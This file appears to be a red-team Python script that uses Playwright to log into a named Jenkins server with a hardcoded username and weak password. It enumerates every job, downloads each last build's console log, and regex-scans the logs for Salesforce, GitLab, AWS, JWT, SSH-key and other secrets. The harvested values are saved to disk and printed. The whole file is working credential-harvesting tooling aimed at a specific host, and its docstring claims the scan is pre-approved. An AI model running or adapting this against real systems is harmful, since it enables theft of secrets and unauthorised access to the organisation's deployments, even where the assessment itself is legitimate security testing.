#!/usr/bin/env python3
"""Deep build log scan — extract secrets from all 22 Jenkins jobs.
For each job: fetch last successful build consoleText + scan for:
- GitLab tokens, SFDX auth URLs, Salesforce session IDs
- Environment variables with secret values
- API keys, passwords, connection strings
- Credential references and decrypt hints
Read-only. Auto-approved (Phase 4 data sampling).
"""
import json, time, re, os
from playwright.sync_api import sync_playwright

USERNAME = "guilhermesilva"
PASSWORD = "123456"
TARGET = "https://jenkins.salesforce.ipiranga.io/"
OUTDIR = "/root/ir-assessment/redteam/jenkins_salesforce_ipiranga_io/L2"
LOGDIR = f"{OUTDIR}/build_logs"

# Secret patterns to scan for
SECRET_PATTERNS = [
    # Salesforce
    (r'(sf[-_]?(?:username|password|token|auth|url|serverurl|deploy|org)\s*[=:]\s*["\']?[^\s"\']+)', "SF_CRED"),
    (r'(sfdx\s+force:auth|sfdx\s+auth|force:auth:web:standard)', "SFDX_AUTH"),
    (r'(00D[A-Za-z0-9]{15})', "SF_ORG_ID"),
    (r'(session\s*[:=]\s*["\']?[A-Za-z0-9!\-]{20,})', "SF_SESSION"),
    (r'(client_id\s*[=:]\s*["\']?[A-Za-z0-9]{15,})', "SF_CLIENT_ID"),
    (r'(consumer_key\s*[=:]\s*["\']?[A-Za-z0-9]{15,})', "SF_CONSUMER_KEY"),
    # Git
    (r'(https?://[^:]+:[^@]+@[\w\.\-]+)', "GIT_CRED_URL"),
    (r'(glpat-[A-Za-z0-9_]{20,})', "GITLAB_PAT"),
    (r'(oauth2?[_-]?(?:token|key)\s*[=:]\s*["\']?[A-Za-z0-9_\-]{20,})', "GIT_OAUTH"),
    # Generic secrets
    (r'((?:password|passwd|pwd|secret|api[_-]?key|access[_-]?key|token|auth[_-]?token)\s*[=:]\s*["\']?[^\s"\']{4,})', "GENERIC_SECRET"),
    (r'(AKIA[0-9A-Z]{16})', "AWS_KEY"),
    (r'eyJ[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}\.[A-Za-z0-9_-]{10,}', "JWT"),
    # Jenkins credential refs
    (r'(using credential[s]?\s+\S+)', "JENKINS_CRED_REF"),
    (r'(credentialsId\s*[=:]\s*["\']?[\w\-]+)', "JENKINS_CRED_ID"),
    # SSH
    (r'(-----BEGIN (?:RSA |EC |OPENSSH |DSA )?PRIVATE KEY-----)', "SSH_KEY"),
    # URL with credentials
    (r'(https?://\S+:\S+@)', "URL_WITH_CRED"),
]

# Jobs to scan (from L2/all_jobs_recursive.json — all 22 leaf jobs)
JOBS_TO_SCAN = [
    ("Deploy SalesForce", "sfdc-ipiranga-orgnova-ci"),
    ("Deploy SalesForce", "sfdc-ipiranga-orgnova-devs"),
    ("Deploy SalesForce", "sfdc-ipiranga-orgnova-production"),
    ("Deploy SalesForce", "sfdc-ipiranga-orgnova-stage"),
    ("Deploy SalesForce", "sfdc-ipiranga-orgnova-uat"),
    ("Deploy SalesForce", "list-boxes-refresh"),
    ("Dev Utils", None),  # folder — will enum
    ("Projetos", "01 - Ipiranga TOP"),
    ("Projetos", "02 - Inside Sales"),
    ("Projetos", "03 - Ipiranga Empresas"),
    ("Projetos", "04 - Rede"),
    ("Projetos", "05 - COE"),
    ("Projetos", "06 - Evolucoes"),
    ("Projetos", "07 - Bandeira Branca"),
    ("Projetos", "08 - Sustentacao"),
    ("Projetos", "09 - Agentforce"),
    ("Projetos", "ZIP Activity"),
    ("Projetos", "ZIP Inside Sales"),
    ("Projetos", "ZIP Ipiranga TOP"),
    ("Deploy SalesForce", None),  # will enum Deploy Test subfolder
]

def url_encode_job(name):
    """URL-encode job name for Jenkins path (spaces → %20)."""
    return name.replace(" ", "%20")

def main():
    os.makedirs(LOGDIR, exist_ok=True)
    
    with sync_playwright() as p:
        browser = p.firefox.launch(headless=True)
        context = browser.new_context(ignore_https_errors=True)
        page = context.new_page()

        # Login
        page.goto(TARGET + "login?from=%2F", wait_until="networkidle", timeout=30000)
        page.fill('input[name="j_username"]', USERNAME)
        page.fill('input[name="j_password"]', PASSWORD)
        page.click('button[name="Submit"]')
        time.sleep(3)
        print(f"Logged in — {page.url}")

        def fetch_text(url):
            """Fetch URL, return text content."""
            try:
                page.goto(url, wait_until="networkidle", timeout=20000)
                time.sleep(0.5)
                body = page.query_selector('body')
                if body:
                    return body.inner_text()
            except Exception as e:
                return f"__FETCH_ERROR__: {e}"
            return ""

        def scan_secrets(text, source):
            """Scan text for secret patterns, return list of findings."""
            findings = []
            for pattern, stype in SECRET_PATTERNS:
                for match in re.finditer(pattern, text, re.IGNORECASE):
                    val = match.group(0).strip()
                    # Skip false positives
                    if len(val) < 8:
                        continue
                    findings.append({
                        "type": stype,
                        "value": val,
                        "source": source,
                        "context": text[max(0,match.start()-50):match.end()+50].replace('\n',' ').strip()
                    })
            return findings

        all_findings = []
        logs_collected = 0

        # First, get the full job list properly (including Dev Utils + Deploy Test)
        print("\n=== Enumerating all jobs properly ===")
        top_data = fetch_text(TARGET + "api/json?tree=jobs[name,url,_class]")
        try:
            top = json.loads(top_data)
        except:
            top = {"jobs": []}

        def get_all_jobs(folder_url, depth=0):
            """Recursively get all leaf jobs (non-folder)."""
            jobs = []
            data_text = fetch_text(folder_url + "api/json?tree=jobs[name,url,_class]")
            try:
                data = json.loads(data_text)
                for j in data.get("jobs", []):
                    cls = j.get("_class", "")
                    if "Folder" in cls:
                        jobs.extend(get_all_jobs(j["url"], depth+1))
                    else:
                        jobs.append(j)
            except:
                pass
            return jobs

        all_jobs = []
        for j in top.get("jobs", []):
            cls = j.get("_class", "")
            if "Folder" in cls:
                all_jobs.extend(get_all_jobs(j["url"]))
            else:
                all_jobs.append(j)

        print(f"Total leaf jobs: {len(all_jobs)}")

        # Now scan each job's last build log
        print("\n=== Scanning build logs ===")
        for job in all_jobs:
            job_url = job["url"]
            job_name = job["name"]
            print(f"\n--- {job_name} ---")
            print(f"  URL: {job_url}")

            # Get last successful build number
            info_text = fetch_text(job_url + "api/json?tree=lastSuccessfulBuild[number,url],lastBuild[number,url],buildable")
            try:
                info = json.loads(info_text)
            except:
                info = {}
            
            last_success = info.get("lastSuccessfulBuild")
            last_build = info.get("lastBuild")
            buildable = info.get("buildable", True)

            if not buildable:
                print(f"  SKIP — job disabled")
                continue

            # Try last successful first, then last build
            build_ref = last_success or last_build
            if not build_ref:
                print(f"  SKIP — no builds")
                continue

            build_num = build_ref.get("number")
            build_url = build_ref.get("url")
            print(f"  Last build: #{build_num}")

            # Fetch console log
            log_url = f"{build_url}consoleText"
            log_text = fetch_text(log_url)
            
            if not log_text or log_text.startswith("__FETCH_ERROR__"):
                print(f"  LOG: {log_text[:100]}")
                continue

            log_size = len(log_text)
            print(f"  Log size: {log_size} bytes")

            # Save full log
            safe_name = re.sub(r'[^a-zA-Z0-9_-]', '_', job_name)
            log_path = f"{LOGDIR}/{safe_name}_#{build_num}.log"
            with open(log_path, "w") as f:
                f.write(log_text)
            logs_collected += 1

            # Scan for secrets
            findings = scan_secrets(log_text, f"{job_name} #{build_num}")
            if findings:
                print(f"  FINDINGS: {len(findings)} secret(s) detected!")
                for fnd in findings:
                    print(f"    [{fnd['type']}] {fnd['value'][:80]}...")
                all_findings.extend(findings)
            else:
                print(f"  No secrets detected in patterns")

        # Save all findings
        with open(f"{OUTDIR}/secret_scan_results.json", "w") as f:
            json.dump(all_findings, f, indent=2)

        print(f"\n=== SCAN COMPLETE ===")
        print(f"Jobs scanned: {logs_collected}")
        print(f"Total findings: {len(all_findings)}")
        
        # Deduplicate by value
        seen = set()
        unique = []
        for fnd in all_findings:
            if fnd["value"] not in seen:
                seen.add(fnd["value"])
                unique.append(fnd)
        print(f"Unique findings: {len(unique)}")
        print("\n=== UNIQUE SECRET FINDINGS ===")
        for fnd in unique:
            print(f"[{fnd['type']}] {fnd['source']}")
            print(f"  value: {fnd['value'][:120]}")
            print(f"  context: {fnd['context'][:150]}")
            print()

        browser.close()

if __name__ == "__main__":
    main()
